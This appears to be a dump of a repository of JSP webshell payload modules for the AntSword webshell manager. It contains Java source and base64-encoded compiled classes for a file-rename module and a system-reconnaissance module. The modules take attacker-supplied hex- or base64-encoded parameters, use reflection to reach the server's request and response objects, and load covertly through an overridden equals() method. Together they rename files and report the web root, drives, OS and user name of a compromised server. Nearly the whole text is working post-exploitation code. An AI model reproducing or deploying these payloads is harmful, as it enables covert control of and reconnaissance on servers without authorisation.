8A5wwA6ADpDADqAOsMANgA7AEAASwMAO0A5wwA2gBtAQAGYmFzZTY0AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwA7gDvAQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzDADwAPEMAPIA8wEAEGphdmEvbGFuZy9PYmplY3QHAPQMAPUA9gEAAltCAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BABBqYXZhLnV0aWwuQmFzZTY0AQAKZ2V0RGVjb2RlcgEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQAXamF2YS9pby9GaWxlSW5wdXRTdHJlYW0BAAxqYXZhL2lvL0ZpbGUMAF8A9wwAXwD4DABfAPkMAPoA2wEAAg0KDAD7AGABAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBAAxnZXRQYXJhbWV0ZXIBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaX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 -------------------------------------------------------------------------------- /RenameFileOrDirCode.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/RenameFileOrDirCode.class -------------------------------------------------------------------------------- /RenameFileOrDirCode.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.File; 6 | import java.lang.reflect.Field; 7 | 8 | public class RenameFileOrDirCode { 9 | public HttpServletRequest request = null; 10 | public HttpServletResponse response = null; 11 | public String encoder; 12 | public String cs; 13 | 14 | @Override 15 | public boolean equals(Object obj) { 16 | if (obj instanceof PageContext) { 17 | PageContext page = (PageContext) obj; 18 | request = (HttpServletRequest) page.getRequest(); 19 | response = (HttpServletResponse) page.getResponse(); 20 | } else if (obj instanceof HttpServletRequest) { 21 | request = (HttpServletRequest) obj; 22 | try { 23 | Field req = request.getClass().getDeclaredField("request"); 24 | req.setAccessible(true); 25 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 26 | Field resp = request2.getClass().getDeclaredField("response"); 27 | resp.setAccessible(true); 28 | response = (HttpServletResponse) resp.get(request2); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | 33 | } else if (obj instanceof HttpServletResponse) { 34 | response = (HttpServletResponse) obj; 35 | try { 36 | Field resp = response.getClass().getDeclaredField("response"); 37 | resp.setAccessible(true); 38 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 39 | Field req = response2.getClass().getDeclaredField("request"); 40 | req.setAccessible(true); 41 | request = (HttpServletRequest) req.get(response2); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 47 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 48 | StringBuffer output = new StringBuffer(""); 49 | StringBuffer sb = new StringBuffer(""); 50 | try { 51 | response.setContentType("text/html"); 52 | request.setCharacterEncoding(cs); 53 | response.setCharacterEncoding(cs); 54 | String var1 = EC(decode(request.getParameter("var1") + "")); 55 | String var2 = EC(decode(request.getParameter("var2") + "")); 56 | output.append("->" + "|"); 57 | sb.append(RenameFileOrDirCode(var1, var2)); 58 | output.append(sb.toString()); 59 | output.append("|" + "<-"); 60 | response.getWriter().print(output.toString()); 61 | } catch (Exception e) { 62 | sb.append("ERROR" + ":// " + e.toString()); 63 | } 64 | return true; 65 | } 66 | 67 | String EC(String s) throws Exception { 68 | if (encoder.equals("hex")) return s; 69 | return new String(s.getBytes(), cs); 70 | } 71 | 72 | String decode(String str) throws Exception { 73 | if (encoder.equals("hex")) { 74 | if (str == null || str.equals("")) { 75 | return ""; 76 | } 77 | String hexString = "0123456789ABCDEF"; 78 | str = str.toUpperCase(); 79 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 80 | String ss = ""; 81 | for (int i = 0; i < str.length(); i += 2) { 82 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 83 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 84 | } 85 | return baos.toString("UTF-8"); 86 | } else if (encoder.equals("base64")) { 87 | byte[] bt = null; 88 | try { 89 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 90 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 91 | } catch (ClassNotFoundException e) { 92 | Class clazz = Class.forName("java.util.Base64"); 93 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 94 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 95 | } 96 | return new String(bt, "UTF-8"); 97 | } 98 | return str; 99 | } 100 | 101 | String RenameFileOrDirCode(String oldName, String newName) throws Exception { 102 | File sf = new File(oldName), df = new File(newName); 103 | sf.renameTo(df); 104 | return "1"; 105 | } 106 | 107 | } 108 | -------------------------------------------------------------------------------- /RenameFileOrDirCode.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIA7QoARgBwCQBRAHEJAFEAcgcAcwoABAB0BwB1CgAEAHYHAHcKAEYAeAgAUgoAQwB5CgB6AHsKAHoAfAgAVAcAfQoADwB+CABWCwAGAH8IAIAJAFEAgQgAgggAgwkAUQCEBwCFCgAYAIYIAIcLAAgAiAsABgCJCwAIAIkHAIoKAB4AcAgAiwoAHgCMCgAeAI0KAFEAjgoAUQCPCACQCACRCgAYAJIKAFEAkwoAGACNCACUCwAIAJUKAJYAlwgAmAoADwCNCACZCgAxAJoHAJsKADEAnAoAMQCdCACeCgAxAJ8HAKAKADEAoQoANgCiCgAxAKMKADEApAoAHgClCACmCgA2AKcKADYAqAgAqQgAqgoAQwCrCACsBwCtCgBDAK4KAEMArwcAsAoAsQCyBwCzBwC0CAC1CAC2CABpBwC3CgBNAIYKAE0AuAgAuQcAbAEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAfQcAbAcAbAcAsAcAmwcAhQEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCgBwC0AQATUmVuYW1lRmlsZU9yRGlyQ29kZQEAOChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEAGFJlbmFtZUZpbGVPckRpckNvZGUuamF2YQwAWQBaDABSAFMMAFQAVQEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DAC6ALsBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DAC8AL0BACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwAvgC/DADAAMEHAMIMAMMAxAwAxQDGAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAxwBaDADIAGcBAAAMAFYAVwEAB2NoYXJzZXQBAAVVVEYtOAwAWABXAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgwAWQDJAQAJdGV4dC9odG1sDADKAMkMAMsAyQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAEdmFyMQwAzADNDADOAM8MAGkAZwwAZgBnAQAEdmFyMgEAAy0+fAwAzADQDABsAG0BAAN8PC0MANEA0gcA0wwA1ADJAQAJRVJST1I6Ly8gAQADaGV4DABdAF4BABBqYXZhL2xhbmcvU3RyaW5nDADVANYMAFkA1wEAEDAxMjM0NTY3ODlBQkNERUYMANgAzwEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADZANoMAFkA2wwA3ADdDADeAN8MAMwA4AEAASwMAOEA2wwAzgBnAQAGYmFzZTY0AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwA4gDjAQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzDADkAOUMAOYA5wEAEGphdmEvbGFuZy9PYmplY3QHAOgMAOkA6gEAAltCAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BABBqYXZhLnV0aWwuQmFzZTY0AQAKZ2V0RGVjb2RlcgEADGphdmEvaW8vRmlsZQwA6wDsAQABMQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACHJlbmFtZVRvAQARKExqYXZhL2lvL0ZpbGU7KVoAIQBRAEYAAAAEAAEAUgBTAAAAAQBUAFUAAAABAFYAVwAAAAEAWABXAAAABQABAFkAWgABAFsAAAAvAAIAAQAAAA8qtwABKgG1AAIqAbUAA7EAAAABAFwAAAAOAAMAAAAIAAQACQAJAAoAAQBdAF4AAQBbAAADLAAFAAYAAAHwK8EABJkAISvAAARNKiy2AAXAAAa1AAIqLLYAB8AACLUAA6cArCvBAAaZAFIqK8AABrUAAiq0AAK2AAkSCrYAC00sBLYADCwqtAACtgANwAAGTi22AAkSDrYACzoEGQQEtgAMKhkELbYADcAACLUAA6cAXk0stgAQpwBWK8EACJkATyorwAAItQADKrQAA7YACRIOtgALTSwEtgAMLCq0AAO2AA3AAAhOLbYACRIKtgALOgQZBAS2AAwqGQQttgANwAAGtQACpwAITSy2ABAqKrQAAhIRuQASAgDGABEqtAACEhG5ABICAKcABRITtQAUKiq0AAISFbkAEgIAxgARKrQAAhIVuQASAgCnAAUSFrUAF7sAGFkSE7cAGU27ABhZEhO3ABlOKrQAAxIauQAbAgAqtAACKrQAF7kAHAIAKrQAAyq0ABe5AB0CACoquwAeWbcAHyq0AAISILkAEgIAtgAhEhO2ACG2ACK2ACO2ACQ6BCoquwAeWbcAHyq0AAISJbkAEgIAtgAhEhO2ACG2ACK2ACO2ACQ6BSwSJrYAJ1ctKhkEGQW2ACi2ACdXLC22ACm2ACdXLBIqtgAnVyq0AAO5ACsBACy2ACm2ACynACE6BC27AB5ZtwAfEi22ACEZBLYALrYAIbYAIrYAJ1cErAADADQAcABzAA8AigDGAMkADwEmAc0B0AAPAAIAXAAAALYALQAAABAABwARAAwAEgAXABMAIgAUACwAFQA0ABcAQQAYAEYAGQBSABoAXQAbAGMAHABwAB8AcwAdAHQAHgB4AB8AewAhAIIAIgCKACQAlwAlAJwAJgCoACcAswAoALkAKQDGACwAyQAqAMoAKwDOAC4A8AAvARIAMAEcADEBJgAzATEANAE+ADUBSwA2AXIANwGZADgBoAA5Aa0AOgG2ADsBvQA8Ac0APwHQAD0B0gA+Ae4AQABfAAAAVgALJfcATQcAYAf3AE0HAGAEXAcAYf8AAQACBwBiBwBjAAIHAGEHAGRfBwBh/wABAAIHAGIHAGMAAgcAYQcAZP8AwAAEBwBiBwBjBwBlBwBlAAEHAGAdAAAAZgBnAAIAWwAAAEMABAACAAAAHiq0ABQSL7YAMJkABSuwuwAxWSu2ADIqtAAXtwAzsAAAAAIAXAAAAAoAAgAAAEQADgBFAF8AAAADAAEOAGgAAAAEAAEADwAAAGkAZwACAFsAAAHlAAYABgAAAS0qtAAUEi+2ADCZAJUrxgAMKxITtgAwmQAGEhOwEjRNK7YANUy7ADZZK7YANwVstwA4ThITOgQDNgUVBSu2ADeiAFi7AB5ZtwAfGQS2ACEsKxUFtgA5tgA6B3gsKxUFBGC2ADm2ADqAtgA7Ejy2ACG2ACI6BC0sKxUFtgA5tgA6B3gsKxUFBGC2ADm2ADqAtgA9hAUCp/+lLRIWtgA+sCq0ABQSP7YAMJkAhAFNEkC4AEFOLRJCBL0AQ1kDEwAxU7YARC22AEUEvQBGWQMrU7YAR8AASMAASE2nAEhOEkq4AEE6BBkEEksDvQBDtgBEAQO9AEa2AEc6BRkFtgAJEkwEvQBDWQMTADFTtgBEGQUEvQBGWQMrU7YAR8AASMAASE27ADFZLBIWtwAzsCuwAAEArADYANsASQACAFwAAABeABcAAABJAAwASgAZAEsAHABNAB8ATgAkAE8AMgBQADYAUQBCAFIAdABTAJEAUQCXAFUAngBWAKoAVwCsAFkAsgBaANgAXwDbAFsA3ABcAOMAXQD4AF4BIABgASsAYgBfAAAAOgAIGQL/ABwABgcAYgcAZAcAZAcAagcAZAEAAPoAXfgABv8APAADBwBiBwBkBwBIAAEHAGv7AET6AAoAaAAAAAQAAQAPAAAAbABtAAIAWwAAAD0AAwAFAAAAHbsATVkrtwBOTrsATVkstwBOOgQtGQS2AE9XElCwAAAAAQBcAAAADgADAAAAZgATAGcAGgBoAGgAAAAEAAEADwABAG4AAAACAG8= -------------------------------------------------------------------------------- /SysInfoCode.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/SysInfoCode.class -------------------------------------------------------------------------------- /SysInfoCode.java: -------------------------------------------------------------------------------- 1 | 2 | import javax.servlet.http.HttpServletRequest; 3 | import javax.servlet.http.HttpServletResponse; 4 | import javax.servlet.jsp.PageContext; 5 | import java.io.File; 6 | import java.lang.reflect.Field; 7 | 8 | public class SysInfoCode { 9 | public HttpServletRequest request=null; 10 | public HttpServletResponse response=null; 11 | @Override 12 | public boolean equals(Object obj) { 13 | if (obj instanceof PageContext){ 14 | PageContext page = (PageContext)obj; 15 | request = (HttpServletRequest) page.getRequest(); 16 | response = (HttpServletResponse) page.getResponse(); 17 | } 18 | else if(obj instanceof HttpServletRequest){ 19 | request=(HttpServletRequest)obj; 20 | try { 21 | Field req = request.getClass().getDeclaredField("request"); 22 | req.setAccessible(true); 23 | HttpServletRequest request2= (HttpServletRequest) req.get(request); 24 | Field resp=request2.getClass().getDeclaredField("response"); 25 | resp.setAccessible(true); 26 | response= (HttpServletResponse) resp.get(request2); 27 | } catch (Exception e) { 28 | e.printStackTrace(); 29 | } 30 | 31 | } 32 | else if (obj instanceof HttpServletResponse){ 33 | response= (HttpServletResponse) obj; 34 | try { 35 | Field resp=response.getClass().getDeclaredField("response"); 36 | resp.setAccessible(true); 37 | HttpServletResponse response2= (HttpServletResponse) resp.get(response); 38 | Field req=response2.getClass().getDeclaredField("request"); 39 | req.setAccessible(true); 40 | request= (HttpServletRequest) req.get(response2); 41 | } catch (Exception e) { 42 | e.printStackTrace(); 43 | } 44 | } 45 | 46 | String cs=request.getParameter("charset")!=null?request.getParameter("charset"):"UTF-8"; 47 | StringBuffer output = new StringBuffer(""); 48 | StringBuffer sb = new StringBuffer(""); 49 | try { 50 | response.setContentType("text/html"); 51 | request.setCharacterEncoding(cs); 52 | response.setCharacterEncoding(cs); 53 | output.append("->" + "|"); 54 | sb.append(SysInfoCode(request)); 55 | output.append(sb.toString()); 56 | output.append("|" + "<-"); 57 | response.getWriter().print(output.toString()); 58 | } catch (Exception e) { 59 | sb.append("ERROR" + ":// " + e.toString()); 60 | } 61 | return true; 62 | } 63 | 64 | String SysInfoCode(HttpServletRequest r) { 65 | String d = ""; 66 | try { 67 | if(r.getSession().getServletContext().getRealPath("/") != null){ 68 | d = r.getSession().getServletContext().getRealPath("/"); 69 | }else{ 70 | String cd = this.getClass().getResource("/").getPath(); 71 | d = new File(cd).getParent(); 72 | } 73 | } catch (Exception e) { 74 | String cd = this.getClass().getResource("/").getPath(); 75 | d = new File(cd).getParent(); 76 | } 77 | d = String.valueOf(d.charAt(0)).toUpperCase() + d.substring(1); 78 | String serverInfo = System.getProperty("os.name"); 79 | String user = System.getProperty("user.name"); 80 | String driverlist = this.WwwRootPathCode(d); 81 | return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; 82 | } 83 | String WwwRootPathCode(String d) { 84 | String s = ""; 85 | if (!d.substring(0, 1).equals("/")) { 86 | File[] roots = File.listRoots(); 87 | for (int i = 0; i < roots.length; i++) { 88 | s += roots[i].toString().substring(0, 2) + ""; 89 | } 90 | } else { 91 | s += "/"; 92 | } 93 | return s; 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /SysInfoCode.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIAywoAPwBXCQA+AFgJAD4AWQcAWgoABABbBwBcCgAEAF0HAF4KAD8AXwgAQAoAYABhCgBiAGMKAGIAZAgAQgcAZQoADwBmCABnCwAGAGgIAGkHAGoIAGsKABQAbAgAbQsACABuCwAGAG8LAAgAbwgAcAoAFABxCgA+AHIKABQAcwgAdAsACAB1CgB2AHcHAHgKACIAVwgAeQoAIgB6CgAPAHMKACIAcwsABgB7CwB8AH0IAH4LAH8AgAoAYACBCgCCAIMHAIQKAC4AbAoALgCFCgCGAIcKAIYAiAoAhgCJCgCGAIoIAIsKAIwAjQgAjgoAPgCPCACQCgCGAJEKAIYAkgoALgCTCgAuAHMHAFAHAJQBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAGUHAJUHAFAHAJQHAGoBAAtTeXNJbmZvQ29kZQEAOyhMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDspTGphdmEvbGFuZy9TdHJpbmc7AQAPV3d3Um9vdFBhdGhDb2RlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsHAJYBAApTb3VyY2VGaWxlAQAQU3lzSW5mb0NvZGUuamF2YQwARABFDABAAEEMAEIAQwEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DACXAJgBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DACZAJoBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwAmwCcBwCdDACeAJ8HAKAMAKEAogwAowCkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwApQBFAQAHY2hhcnNldAwApgBTAQAFVVRGLTgBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyAQAADABEAKcBAAl0ZXh0L2h0bWwMAKgApwwAqQCnAQADLT58DACqAKsMAFAAUQwArACtAQADfDwtDACuAK8HALAMALEApwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAJRVJST1I6Ly8gDACqALIMALMAtAcAtQwAtgC3AQABLwcAuAwAuQBTDAC6ALsHALwMAL0ArQEADGphdmEvaW8vRmlsZQwAvgCtBwCVDAC/AMAMAMEAwgwAwwCtDADEAMUBAAdvcy5uYW1lBwDGDADHAFMBAAl1c2VyLm5hbWUMAFIAUwEAAQkMAMQAyAwASABJDADJAMoBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAD1tMamF2YS9pby9GaWxlOwEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAPamF2YS9sYW5nL0NsYXNzAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEA